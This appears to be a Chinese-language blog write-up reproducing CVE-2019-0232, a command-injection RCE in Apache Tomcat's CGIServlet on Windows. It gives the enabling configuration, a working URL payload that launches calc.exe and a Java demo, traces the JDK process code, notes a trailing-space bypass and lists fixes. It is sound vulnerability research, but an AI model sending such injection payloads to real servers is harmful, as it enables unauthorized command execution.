CVE-2019-0232:Apache Tomcat RCE復現(xiàn)

漏洞影響范圍

  • Apache Tomcat 9.0.0.M1 to 9.0.17
  • Apache Tomcat 8.5.0 to 8.5.39
  • Apache Tomcat 7.0.0 to 7.0.93

利用前提

  • Windows系統(tǒng)
  • 啟用CGIServlet和enableCmdLineArguments參數(shù)
  • privileged="true"

復現(xiàn)過程

配置java環(huán)境變量

下載相應(yīng)版本tomcat服務(wù)器(此處為9.0.13版本)下載地址

打開配置/conf/web.xml文件,修改如下配置

<!--
    <servlet>
        <servlet-name>cgi</servlet-name>
        <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
        <init-param>
          <param-name>cgiPathPrefix</param-name>
          <param-value>WEB-INF/cgi</param-value>
        </init-param>
        <load-on-startup>5</load-on-startup>
    </servlet>
-->

<servlet>
        <servlet-name>cgi</servlet-name>
        <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
        <init-param>
          <param-name>cgiPathPrefix</param-name>
          <param-value>WEB-INF/cgi-bin</param-value>
        </init-param>
        <init-param>
          <param-name>enableCmdLineArguments</param-name>
          <param-value>true</param-value>
        </init-param>
        <init-param>
          <param-name>executable</param-name>
          <param-value></param-value>
        </init-param>
        <load-on-startup>5</load-on-startup>
    </servlet>

同時修改如下配置

<!--
    <servlet-mapping>
        <servlet-name>cgi</servlet-name>
        <url-pattern>/cgi-bin/*</url-pattern>
    </servlet-mapping>
-->

    <servlet-mapping>
        <servlet-name>cgi</servlet-name>
        <url-pattern>/cgi-bin/*</url-pattern>
    </servlet-mapping>

然后打開content.xml文件,修改如下配置

<Context>

    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->
</Context>

<Context privileged="true">

    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->
</Context>

進入webapps/ROOT/WEB-INF/目錄,創(chuàng)建cgi-bin/hello.bat文件,hello.bat文件為任意內(nèi)容(非空)。

運行bin/startup.bat文件,待tomcat啟動成功后,訪問url

http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

成功彈出計算器,代碼執(zhí)行成功。

配置分析

web.xml為tomcat中的全局配置文件,對該server下所有web應(yīng)用均有效;若需要對一些應(yīng)用進行特殊配置,可以在其根目錄下添加單獨的web.xml文件。

啟用CGIServlet,CGI(common gateway interface)是外部應(yīng)用程序(CGI程序)與WEB服務(wù)器之間的接口標準,允許Web服務(wù)器執(zhí)行外部程序,并將它們的輸出發(fā)送給Web瀏覽器。

<param-value>WEB-INF/cgi-bin</param-value>

指定了cgi的路徑,這里的路徑不必須為此值,只需要與實際cgi路徑相同即可;

<init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param>

設(shè)置enableCmdLineArguments值為true,默認值為false

Are command line arguments generated from the query string as per section 4.4 of 3875 RFC? The default is false.

(取自http://tomcat.apache.org/tomcat-7.0-doc/cgi-howto.html);

<init-param> <param-name>executable</param-name> <param-value></param-value> </init-param>

設(shè)置executable值為空

The name of the executable to be used to run the script. You may explicitly set this parameter to be an empty string if your script is itself executable (e.g. an exe file). Default is perl.

(取自http://tomcat.apache.org/tomcat-7.0-doc/cgi-howto.html);

<servlet-mapping> <servlet-name>cgi</servlet-name> <url-pattern>/cgi-bin/*</url-pattern> </servlet-mapping>

用于設(shè)置url路徑與servlet的映射關(guān)系;

<Context privileged="true">

指定該應(yīng)用為特權(quán)(privileged)應(yīng)用

Set to true to allow this context to use container servlets, like the manager servlet. Use of the privileged attribute will change the context's parent class loader to be the Server class loader rather than the Shared class loader. Note that in a default installation, the Common class loader is used for both the Server and the Shared class loaders.

(取自http://tomcat.apache.org/tomcat-7.0-doc/config/context.html)。

漏洞分析

來看一下我們的payload

http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

可以看到實際上是訪問了/cgi-bin/hello.bat文件

.bat文件是windows下的批處理文件(可執(zhí)行文件),可以批量執(zhí)行命令。

在我們訪問.bat文件時,實際上是調(diào)用了Runtime.getRuntime().exec()方法來運行.bat文件,該方法會返回一個Process實例。

如果我們運行如下代碼

import java.oi.*;
class c{
    public static void main(String[] args){
        String[] cmd={"args.bat","args","&","C:\\Windows\\System32\\calc.exe"};
        //or 'String cmd="args.bat args&C:\\Windows\\System32\\calc.exe";'
        try{
        Process process=Runtime.getRuntime().exec(cmd);
        OutputStream testStream= process.getOutputStream();
        InputStreamReader ir= new InputStreamReader(process.getInputStream());
        LineNumberReader input = new LineNumberReader (ir);
        input.readLine ();
        }
        catch(Exception e){
        }
    }
}

同樣會彈出計算器(前提是存在一個非空的args.bat文件)

追蹤一下exec()方法,聲明如下

public Process exec(String cmdarray[]) throws IOException {
    return exec(cmdarray, null, null);
}

這里的exec()方法是一個重載的方法,如果我們傳入的參數(shù)是一個字符串,那么將會調(diào)用下面exec()

public Process exec(String command) throws IOException {
        return exec(command, null, null);
}

? 該處return exec()代碼如下

public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");

StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}

這個return exec()方法實例化了一個StringTokenizer類,將字符串通過空格分隔并儲存在一個數(shù)組中,然后調(diào)用處理數(shù)組參數(shù)的exec()方法。即如果傳入的參數(shù)是字符串,就增加一個將字符串轉(zhuǎn)變成字符串數(shù)組的過程。

處理數(shù)組的exec()方法代碼如下

public Process exec(String[] cmdarray, String[] envp, File dir)
    throws IOException {
    return new ProcessBuilder(cmdarray)
        .environment(envp)
        .directory(dir)
        .start();
}

start()代碼如下

public Process start() throws IOException {
    // Must convert to array first -- a malicious user-supplied
    // list might try to circumvent the security check.
    String[] cmdarray = command.toArray(new String[command.size()]);
    cmdarray = cmdarray.clone();

    for (String arg : cmdarray)
        if (arg == null)
            throw new NullPointerException();
    // Throws IndexOutOfBoundsException if command is empty
    String prog = cmdarray[0];

    SecurityManager security = System.getSecurityManager();
    if (security != null)
        security.checkExec(prog);

    String dir = directory == null ? null : directory.toString();

    for (int i = 1; i < cmdarray.length; i++) {
        if (cmdarray[i].indexOf('\u0000') >= 0) {
            throw new IOException("invalid null character in command");
        }
    }

    try {
        return ProcessImpl.start(cmdarray,
                                 environment,
                                 dir,
                                 redirects,
                                 redirectErrorStream);
    } catch (IOException | IllegalArgumentException e) {
        String exceptionInfo = ": " + e.getMessage();
        Throwable cause = e;
        if ((e instanceof IOException) && security != null) {
            // Can not disclose the fail reason for read-protected files.
            try {
                security.checkRead(prog);
            } catch (SecurityException se) {
                exceptionInfo = "";
                cause = se;
            }
        }
        // It's much easier for us to create a high-quality error
        // message than the low-level C code which found the problem.
        throw new IOException(
            "Cannot run program \"" + prog + "\""
            + (dir == null ? "" : " (in directory \"" + dir + "\")")
            + exceptionInfo,
            cause);
    }
}

首先取出參數(shù)數(shù)組第一個值進行System.getSecurityManager()和security.checkExec()校驗

java.lang.System.getSecurityManager():This method returns the security manager if that security manager has already been established for the current application, else null is returned.

(取自https://www.tutorialspoint.com/java/lang/system_getsecuritymanager.htm

java.lang.SecurityManager.checkExec(String cmd):The java.lang.SecurityManager.checkExec(String cmd) method throws a SecurityException if the calling thread is not allowed to create a subprocess. This method is invoked for the current security manager by the exec methods of class Runtime.

(取自https://www.tutorialspoint.com/java/lang/securitymanager_checkexec.htm

實際上return了一個ProcessImpl.start()方法

static Process start(String cmdarray[],
                     java.util.Map<String,String> environment,
                     String dir,
                     ProcessBuilder.Redirect[] redirects,
                     boolean redirectErrorStream)
    throws IOException
{
    String envblock = ProcessEnvironment.toEnvironmentBlock(environment);

    FileInputStream  f0 = null;
    FileOutputStream f1 = null;
    FileOutputStream f2 = null;

    try {
        long[] stdHandles;
        if (redirects == null) {
            stdHandles = new long[] { -1L, -1L, -1L };
        } else {
            stdHandles = new long[3];

            if (redirects[0] == Redirect.PIPE)
                stdHandles[0] = -1L;
            else if (redirects[0] == Redirect.INHERIT)
                stdHandles[0] = fdAccess.getHandle(FileDescriptor.in);
            else {
                f0 = new FileInputStream(redirects[0].file());
                stdHandles[0] = fdAccess.getHandle(f0.getFD());
            }

            if (redirects[1] == Redirect.PIPE)
                stdHandles[1] = -1L;
            else if (redirects[1] == Redirect.INHERIT)
                stdHandles[1] = fdAccess.getHandle(FileDescriptor.out);
            else {
                f1 = newFileOutputStream(redirects[1].file(),
                                         redirects[1].append());
                stdHandles[1] = fdAccess.getHandle(f1.getFD());
            }

            if (redirects[2] == Redirect.PIPE)
                stdHandles[2] = -1L;
            else if (redirects[2] == Redirect.INHERIT)
                stdHandles[2] = fdAccess.getHandle(FileDescriptor.err);
            else {
                f2 = newFileOutputStream(redirects[2].file(),
                                         redirects[2].append());
                stdHandles[2] = fdAccess.getHandle(f2.getFD());
            }
        }

        return new ProcessImpl(cmdarray, envblock, dir,
                               stdHandles, redirectErrorStream);
    } finally {
        // In theory, close() can throw IOException
        // (although it is rather unlikely to happen here)
        try { if (f0 != null) f0.close(); }
        finally {
            try { if (f1 != null) f1.close(); }
            finally { if (f2 != null) f2.close(); }
        }
    }

}

這里返回值是一個ProcessImpl類的構(gòu)造方法,代碼如下

private ProcessImpl(String cmd[],
                    final String envblock,
                    final String path,
                    final long[] stdHandles,
                    final boolean redirectErrorStream)
    throws IOException
{
    String cmdstr;
    SecurityManager security = System.getSecurityManager();
    boolean allowAmbiguousCommands = false;
    if (security == null) {
        allowAmbiguousCommands = true;
        String value = System.getProperty("jdk.lang.Process.allowAmbiguousCommands");
        if (value != null)
            allowAmbiguousCommands = !"false".equalsIgnoreCase(value);
    }
    if (allowAmbiguousCommands) {
        // Legacy mode.

        // Normalize path if possible.
        String executablePath = new File(cmd[0]).getPath();

        // No worry about internal, unpaired ["], and redirection/piping.
        if (needsEscaping(VERIFICATION_LEGACY, executablePath) )
            executablePath = quoteString(executablePath);

        cmdstr = createCommandLine(
            //legacy mode doesn't worry about extended verification
            VERIFICATION_LEGACY,
            executablePath,
            cmd);
    } else {
        String executablePath;
        try {
            executablePath = getExecutablePath(cmd[0]);
        } catch (IllegalArgumentException e) {
            // Workaround for the calls like
            // Runtime.getRuntime().exec("\"C:\\Program Files\\foo\" bar")

            // No chance to avoid CMD/BAT injection, except to do the work
            // right from the beginning. Otherwise we have too many corner
            // cases from
            //    Runtime.getRuntime().exec(String[] cmd [, ...])
            // calls with internal ["] and escape sequences.

            // Restore original command line.
            StringBuilder join = new StringBuilder();
            // terminal space in command line is ok
            for (String s : cmd)
                join.append(s).append(' ');

            // Parse the command line again.
            cmd = getTokensFromCommand(join.toString());
            executablePath = getExecutablePath(cmd[0]);

            // Check new executable name once more
            if (security != null)
                security.checkExec(executablePath);
        }

        // Quotation protects from interpretation of the [path] argument as
        // start of longer path with spaces. Quotation has no influence to
        // [.exe] extension heuristic.
        cmdstr = createCommandLine(
            // We need the extended verification procedure for CMD files.
            isShellFile(executablePath)
            ? VERIFICATION_CMD_BAT
            : VERIFICATION_WIN32,
            quoteString(executablePath),
            cmd);
    }

    handle = create(cmdstr, envblock, path,
                    stdHandles, redirectErrorStream);

    java.security.AccessController.doPrivileged(
        new java.security.PrivilegedAction<Void>() {
            public Void run() {
                if (stdHandles[0] == -1L)
                    stdin_stream = ProcessBuilder.NullOutputStream.INSTANCE;
                else {
                    FileDescriptor stdin_fd = new FileDescriptor();
                    fdAccess.setHandle(stdin_fd, stdHandles[0]);
                    stdin_stream = new BufferedOutputStream(
                        new FileOutputStream(stdin_fd));
                }

                if (stdHandles[1] == -1L)
                    stdout_stream = ProcessBuilder.NullInputStream.INSTANCE;
                else {
                    FileDescriptor stdout_fd = new FileDescriptor();
                    fdAccess.setHandle(stdout_fd, stdHandles[1]);
                    stdout_stream = new BufferedInputStream(
                        new FileInputStream(stdout_fd));
                }

                if (stdHandles[2] == -1L)
                    stderr_stream = ProcessBuilder.NullInputStream.INSTANCE;
                else {
                    FileDescriptor stderr_fd = new FileDescriptor();
                    fdAccess.setHandle(stderr_fd, stdHandles[2]);
                    stderr_stream = new FileInputStream(stderr_fd);
                }

                return null; }});
}

allowAmbiguousCommands變量僅當System.getSecurityManager()返回null且System.getProperty()不為假時才為真,此時會執(zhí)行l(wèi)egacy mode(傳統(tǒng)模式),即if(allowAmbiguousCommands)內(nèi)的部分

首先來看if (allowAmbiguousCommands)內(nèi)的部分,可以看到調(diào)用了needsEscaping()方法

private static boolean needsEscaping(int verificationType, String arg) {
    // Switch off MS heuristic for internal ["].
    // Please, use the explicit [cmd.exe] call
    // if you need the internal ["].
    //    Example: "cmd.exe", "/C", "Extended_MS_Syntax"

    // For [.exe] or [.com] file the unpaired/internal ["]
    // in the argument is not a problem.
    boolean argIsQuoted = isQuoted(
        (verificationType == VERIFICATION_CMD_BAT),
        arg, "Argument has embedded quote, use the explicit CMD.EXE call.");

    if (!argIsQuoted) {
        char testEscape[] = ESCAPE_VERIFICATION[verificationType];
        for (int i = 0; i < testEscape.length; ++i) {
            if (arg.indexOf(testEscape[i]) >= 0) {
                return true;
            }
        }
    }
    return false;
}

這里又調(diào)用了isQuoted()方法,這個方法是檢測字符串是否被合法的雙引號包含,代碼不貼了

所以這里的needsEscaping()方法是對沒有被雙引號合法包含的字符串進行特殊字符檢查,有三種檢查方式,這里使用的是第三種,檢查' '(空格)和'\t'(縮進)。所以在這里needsEscaping()方法的作用就是判斷是否存在空格分隔的參數(shù)

如果needsEscaping()判斷為真就為其加上雙引號,然后調(diào)用createCommandLine()方法

private static String createCommandLine(int verificationType,
                                 final String executablePath,
                                 final String cmd[])
{
    StringBuilder cmdbuf = new StringBuilder(80);

    cmdbuf.append(executablePath);

    for (int i = 1; i < cmd.length; ++i) {
        cmdbuf.append(' ');
        String s = cmd[i];
        if (needsEscaping(verificationType, s)) {
            cmdbuf.append('"').append(s);

            // The code protects the [java.exe] and console command line
            // parser, that interprets the [\"] combination as an escape
            // sequence for the ["] char.
            //     http://msdn.microsoft.com/en-us/library/17w5ykft.aspx
            //
            // If the argument is an FS path, doubling of the tail [\]
            // char is not a problem for non-console applications.
            //
            // The [\"] sequence is not an escape sequence for the [cmd.exe]
            // command line parser. The case of the [""] tail escape
            // sequence could not be realized due to the argument validation
            // procedure.
            if ((verificationType != VERIFICATION_CMD_BAT) && s.endsWith("\\")) {
                cmdbuf.append('\\');
            }
            cmdbuf.append('"');
        } else {
            cmdbuf.append(s);
        }
    }
    return cmdbuf.toString();
}

這里實際上就是把cmd數(shù)組中第二個參數(shù)開始加上雙引號后與之前處理過的cmd[0]重新進行拼接,并進行了轉(zhuǎn)義符的處理

再來看看else內(nèi)的部分,首先是調(diào)用了getExecutablePath()方法

private static String getExecutablePath(String path)
    throws IOException
{
    boolean pathIsQuoted = isQuoted(true, path,
                                    "Executable name has embedded quote, split the arguments");

    // Win32 CreateProcess requires path to be normalized
    File fileToRun = new File(pathIsQuoted
                              ? path.substring(1, path.length() - 1)
                              : path);

    // From the [CreateProcess] function documentation:
    //
    // "If the file name does not contain an extension, .exe is appended.
    // Therefore, if the file name extension is .com, this parameter
    // must include the .com extension. If the file name ends in
    // a period (.) with no extension, or if the file name contains a path,
    // .exe is not appended."
    //
    // "If the file name !does not contain a directory path!,
    // the system searches for the executable file in the following
    // sequence:..."
    //
    // In practice ANY non-existent path is extended by [.exe] extension
    // in the [CreateProcess] funcion with the only exception:
    // the path ends by (.)

    return fileToRun.getPath();
}

實際是增加了去除首位雙引號的步驟,如果路徑包含了非法的雙引號,則拋出IllegalArgumentException并執(zhí)行else中的catch塊。catch塊中將cmd數(shù)組用空格分隔拼接成一個字符串,然后傳入getTokensFromCommand()方法中

private static String[] getTokensFromCommand(String command) {
    ArrayList<String> matchList = new ArrayList<>(8);
    Matcher regexMatcher = LazyPattern.PATTERN.matcher(command);
    while (regexMatcher.find())
        matchList.add(regexMatcher.group());
    return matchList.toArray(new String[matchList.size()]);
}

這里是對command進行了一次正則,取出雙引號內(nèi)或者被\s分隔的部分,同時可以去除非法的雙引號,正則表達式為"[^\\s\"]+|\"[^\"]*\""

然后調(diào)用了createCommandLine()方法和isShellFile()方法,isShellFile()方法代碼如下

private boolean isShellFile(String executablePath) {
    String upPath = executablePath.toUpperCase();
    return (upPath.endsWith(".CMD") || upPath.endsWith(".BAT"));
}

這里是判斷命令可執(zhí)行路徑是否以.cmd/.bat結(jié)尾

到這里if-else部分就結(jié)束了,結(jié)果是產(chǎn)生了一個cmdstr字符串,if中的legacy mode與else中的strict mode主要的區(qū)別就是strict mode對可執(zhí)行路徑的擴展名進行了校驗。

然后調(diào)用create()方法創(chuàng)建了一個進程,這是一個native方法,在不同的平臺上有不同的實現(xiàn)

    /**
     * Create a process using the win32 function CreateProcess.
     * The method is synchronized due to MS kb315939 problem.
     * All native handles should restore the inherit flag at the end of call.
     *
     * @param cmdstr the Windows command line
     * @param envblock NUL-separated, double-NUL-terminated list of
     *        environment strings in VAR=VALUE form
     * @param dir the working directory of the process, or null if
     *        inheriting the current directory from the parent process
     * @param stdHandles array of windows HANDLEs.  Indexes 0, 1, and
     *        2 correspond to standard input, standard output and
     *        standard error, respectively.  On input, a value of -1
     *        means to create a pipe to connect child and parent
     *        processes.  On output, a value which is not -1 is the
     *        parent pipe handle corresponding to the pipe which has
     *        been created.  An element of this array is -1 on input
     *        if and only if it is <em>not</em> -1 on output.
     * @param redirectErrorStream redirectErrorStream attribute
     * @return the native subprocess HANDLE returned by CreateProcess
     */
    private static synchronized native long create(String cmdstr,
                                      String envblock,
                                      String dir,
                                      long[] stdHandles,
                                      boolean redirectErrorStream)
        throws IOException;

根據(jù)注釋可以知道在windows下是調(diào)用了CreateProcess()函數(shù)來創(chuàng)建進程

CreateProcess()函數(shù)創(chuàng)建進程時,會首先判斷將要執(zhí)行的文件路徑是否以.bat/.cmd結(jié)尾,如果是這樣,那么執(zhí)行的鏡像將會成為cmd.exe。

Remember the isShellFile checked the file name extension for .cmd and .bat? This is due to the fact that CreateProcess executes these files in a cmd.exe shell environment:

[…] the decision tree that CreateProcess goes through to run an image is as follows:

  • […]
  • If the file to run has a .bat or .cmd extension, the image to be run becomes Cmd.exe, the Windows command prompt, and CreateProcess restarts at Stage 1. (The name of the batch file is passed as the first parameter to Cmd.exe.)
  • […]

Windows Internals, 6th edition (Part 1)

That means a 'file.bat …' becomes 'C:\Windows\system32\cmd.exe /c "file.bat …"' and an additional set of quoting rules would need to be applied to avoid command injection in the command line interpreted by cmd.exe.

However, since Java does no additional quoting for this implicit cmd.exe call promotion on the passed arguments, injection is even easier: &calc& does not require any quoting and will be interpreted as a separate command by cmd.exe.

This works in the legacy mode just like in the strict mode if we make isShellFile return false, e. g., by adding whitespace to the end of the path, which tricks the endsWith check but are ignored by CreateProcess.

(取自https://codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html

在java將參數(shù)傳遞給CreateProcess()時沒有進行正確的轉(zhuǎn)義,如果傳入精心構(gòu)造的payload,如args.bat&dir,cmd.exe會將dir解釋為單獨的命令并執(zhí)行

只有在最嚴格的strict mode下,命令注入才可能被過濾,但仍然可以通過在文件路徑尾部加上空格的方式來繞過。最嚴格的strict mode下,needsEscaping()方法中的erificationType=0,此時檢測的特殊字符有{' ', '\t', '<', '>', '&', '|', '^'}(strict mode下三種檢查方式分別會檢查{' ', '\t', '<', '>', '&', '|', '^'},{' ', '\t', '<', '>'},{' ', '\t'})。

修復

  1. 使用更新版本的Apache Tomcat。
  2. 關(guān)閉enableCmdLineArguments參數(shù)

其他

參考

CVE-2019-0232:Apache Tomcat RCE漏洞分析

How Command Line Parameters Are Parsed

Apache Tomcat 7 Documentation

Java下奇怪的命令執(zhí)行

Java and Command Line Injections in Windows

java Pattern和Matcher詳解

Java.lang package tutorial

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容